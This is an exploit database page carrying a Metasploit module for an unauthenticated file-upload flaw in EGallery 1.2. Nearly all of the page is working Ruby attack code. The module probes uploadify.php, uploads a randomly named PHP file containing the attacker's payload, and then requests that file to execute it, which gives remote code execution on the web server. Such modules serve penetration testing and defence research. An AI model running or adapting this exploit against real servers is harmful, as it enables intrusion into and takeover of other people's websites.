EGallery PHP File Upload Vulnerability

[Wubi]

EGallery PHP File Upload Vulnerability

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[tr]

[td]EDB-ID: 20029[/td]

[td]CVE: N/A [/td]

[td]OSVDB-ID: 83891[/td]

[/tr]

[tr]

[td]Author: metasploit[/td]

[td]Published: 2012-07-23[/td]

[td]Verified: [/td]

[/tr]

[tr]

[td]Exploit Code: [/td]

[td]Vulnerable App: N/A[/td]

[td][/td]

[/tr]

[/table]

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "EGallery PHP File Upload Vulnerability",
            'Description'    => %q{
                    This module exploits a vulnerability found in EGallery 1.2 By abusing the
                uploadify.php file, a malicious user can upload a file to the egallery/ directory
                without any authentication, which results in arbitrary code execution. The module
                has been tested successfully on Ubuntu 10.04.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Sammy FORGIT', # Discovery, PoC
                    'juan' # Metasploit module
                ],
            'References'     =>
                [
                    ['OSVDB', '83891'],
                    ['BID', '54464'],
                    ['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    ['EGallery 1.2', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jul 08 2012",
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('TARGETURI', [true, 'The base path to EGallery', '/sample'])
                ], self.class)
    end

    def check
        uri = target_uri.path
        uri << '/' if uri[-1,1] != '/'

        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => "#{uri}egallery/uploadify.php"
        })

        if res and res.code == 200 and res.body.empty?
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end

    def exploit
        uri = target_uri.path
        uri << '/' if uri[-1,1] != '/'

        peer = "#{rhost}:#{rport}"
        payload_name = rand_text_alpha(rand(10) + 5) + '.php'
        boundary = Rex::Text.rand_text_hex(7)

        post_data = "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"Filename\"\r\n\r\n"
        post_data << "#{payload_name}\r\n"
        post_data << "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"folder\"\r\n\r\n"
        post_data << "#{uri}\r\n"
        post_data << "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n"
        post_data << "<?php "
        post_data << payload.encoded
        post_data << " ?>\r\n"
        post_data << "--#{boundary}--\r\n"

        print_status("#{peer} - Sending PHP payload (#{payload_name})")
        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{uri}egallery/uploadify.php",
            'ctype'  => "multipart/form-data; boundary=#{boundary}",
            'data'   => post_data
        })

        # If the server returns 200 and the body contains our payload name,
        # we assume we uploaded the malicious file successfully
        if not res or res.code != 200 or res.body !~ /#{payload_name}/
            print_error("#{peer} - File wasn't uploaded, aborting!")
            return
        end

        print_status("#{peer} - Executing PHP payload (#{payload_name})")
        # Execute our payload
        res = send_request_cgi({
            'method' => 'GET',
            'uri'    => "#{uri}#{payload_name}"
        })

        # If we don't get a 200 when we request our malicious payload, we suspect
        # we don't have a shell, either.  Print the status code for debugging purposes.
        if res and res.code != 200
            print_status("#{peer} - Server returned #{res.code.to_s}")
        end
    end

end